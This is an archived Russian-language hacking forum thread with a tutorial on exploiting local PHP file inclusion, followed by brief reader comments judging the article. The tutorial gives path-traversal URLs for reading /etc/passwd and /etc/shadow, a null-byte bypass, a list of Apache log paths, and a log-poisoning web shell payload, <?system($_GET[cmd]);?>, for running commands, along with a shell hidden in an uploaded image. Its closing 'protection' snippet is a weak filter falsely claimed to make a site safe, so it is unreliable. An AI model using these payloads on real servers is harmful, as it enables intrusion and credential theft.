PDA

Просмотр полной версии : Локальные Php Иньекции


maxster
11.04.2008, 23:40
0.Введение

В это статье я расскажу о том как пользоваться локальной пхп иньекцией.
Некоторые считают, что это бесполезный тип атаки, однако это не так,
с ее помощью можно узнать много ПОЛЕЗНОЙ информации, которая поможет
в процессе взлома, а в не которых случаях даже получить шелл.

1. Поехали!

Для начала давайте рассмотрим кусок уязвимого кода:


<?php
$page = $_GET[page];
include($page);
?>


Этот кусок кода никогда нельзя использовать, т.к. $page не фильруеться и на прямую
идет к вебфайлу, несмотря на это очень часто можно встретить этот код в сети.
Предположим, что есть веб сервер с папкой include, в который лежит
сраница main.php, мы можем попасть на нее так:

http://webserver.ru/inc/main.php

А если уязвимый код, описаный в первой части присутвует в index.php, который лежит
в корневой директории сервера, то можно сделать так:

http://webserver.ru/index.php?page=test/main.php

Index.php может лежать в другом месте, например в папке /test/krevedko/index.php,
то подгрузить main.php можно так:

http://webserver.ru/test/krevedko/index.php?page=../main.php

../ - предыдущая папка
./ - папка в которой находиться скрипт

2. Глазами хакера

Что ж теперь, когда мы знаем как это выглядит, давайте попробуем использовать это
в своих целях. Например, если машина стоит на *nix, можно прочитать файл с паролями,
для это надо сделать нечто подобное:


http://webserver.ru/index.php?page=../../../../../etc/passwd


Если пароли не затенены (находяться в файле etc/shadow), то мы увидим
приблизительно такое:

user:ghjERIOmm23rt:305:100:UserName:/home/user:/bin/sh

что означает

username: passwd:UID:GID:full_name:directory:shell


Сейчат редко увидишь пароли в файле passwd, все чаще они находяться в
etc/shadow, который доступен только root, так что врятли вы его прочтете.
Здесь не много мест, куда следует сходить


/etc/passwd
/etc/shadow
/etc/security/passwd
/etc/security/user


3. Не все так гладко на нашем пути

Не много подумав, можно себе представить такой код


PHP Code:
<?php
$page = $_GET["page"];
include("$page.php");
?>


В конце добавляеться расширениее .php, так что если вызвать


http://webserver.ru/index.php?page=../../../../../etc/passwd


Получим не файл passwd, а файль passwd.php, которого само сабой нет,
так что здесь нам в помощь идет NULL byte или ядовитый ноль, после
такого байта сервер игнорирует, то что идет дальше, так что код выглядит так:

http://webserver.ru/index.php?page=../../../../../etc/passwd%00


%00 - NULL byte

4. А как же веб шелл ?

А вот так, мы попробуем записать php код в логи http демона и заинклудить их,
вопрос лишь в том где они? Я вам дам пару путей возможного их нахождения:


../apache/logs/error.log
../apache/logs/access.log
../etc/httpd/logs/acces_log
../etc/httpd/logs/acces.log
../etc/httpd/logs/error_log
../etc/httpd/logs/error.log
../var/www/logs/access_log
../var/www/logs/access.log
../usr/local/apache/logs/access_log
../usr/local/apache/logs/access.log
../var/log/apache/access_log
../var/log/apache2/access_log
../var/log/apache/access.log
../var/log/apache2/access.log
../var/log/access_log
../var/log/access.log
../var/www/logs/error_log
../var/www/logs/error.log
../usr/local/apache/logs/error_log
../usr/local/apache/logs/error.log
../var/log/apache/error_log
../var/log/apache2/error_log
../var/log/apache/error.log
../var/log/apache2/error.log
../var/log/error_log
../var/log/error.log


эти логи ведут запись запросов о не найденных файлах, то есть
что бы этим воспользоваться достаточно обратиться скажем к такому
файлу http://webserver/<?system($_GET[cmd]);?> и наш php код
(<?system($_GET[cmd]);?>) будет записан в эти логи, дальше с помощью
локальной php инькции мы подгрузим лог и выполним команду, но
ваш браузер может переделать код в такой вид:

%3C?%20system(\$_GET[cmd])%20?>

так что для этого можно воспользоваться программой которая шлет запросы,
или написать скрипт, который будет все делать сам.

Так же шел можно залить с помощью картинки
Вставляем в каритинку php код, заливаем на сервер и с помощью иньекции инклудим ее,
результат работы скрипта в картинке должен быть выведен на экран.

5. Пару слов о защите.

Иногда приходиться самому писать движок и в некоторых случаях приходиться использовать
этот бажный кусок, но как же защитить свой сайт от злостных хакеров? для этого стоит добавить
вот такую конструкцию после бажной части:


if(!isset($_GET["page"]))exit;
$page = str_replace(".", "", str_replace("\\", "", $_GET["page"]));
if(!file_exists($page)) exit;
include($page);


И все будет хорошо, можно спокойно идти спать и не бояться инклуда ;)

6. Заключение

Это все что я хотел рассказать вам локальных php иньекциях, не делайте сами таких ошибок,
карайте тех кто их делает, всем удачи.

ZAMUT
12.04.2008, 00:14
2. Глазами хакера
хакер что ле? как Фленов. .
мда..
https://forum.antichat.ru/thread12123.html
Все остальное очевидно

iddqd
12.04.2008, 00:21
http://forum.antichat.ru/thread23501.html - здесь просто нечего добавить...
Автору + за старания, но это не очень сильно...

gibson
12.04.2008, 00:22
но как же защитить свой сайт от злостных хакеров?
кто сказал, что мы злостные=\


Хакер - не преступник.
Взлом - для искусства.
Смысл - в свободе!


Сейчас это выражение на половину утратило свой первоначальный смысл, жаль=\

зы статья не раскрыта и на 50% незачет

GreenBear
12.04.2008, 07:50
это не практично

MaSter GeN
12.04.2008, 10:25
тема в данном случае мало понятна для новичка и не раскрыта !!!афтаору + за старания

Dimi4
12.04.2008, 10:50
спс, мен что оформил, а то в *.txt неудобно и впадлу мне было читать.
СПС!

+toxa+
12.04.2008, 13:52
У задохлика статья лучше была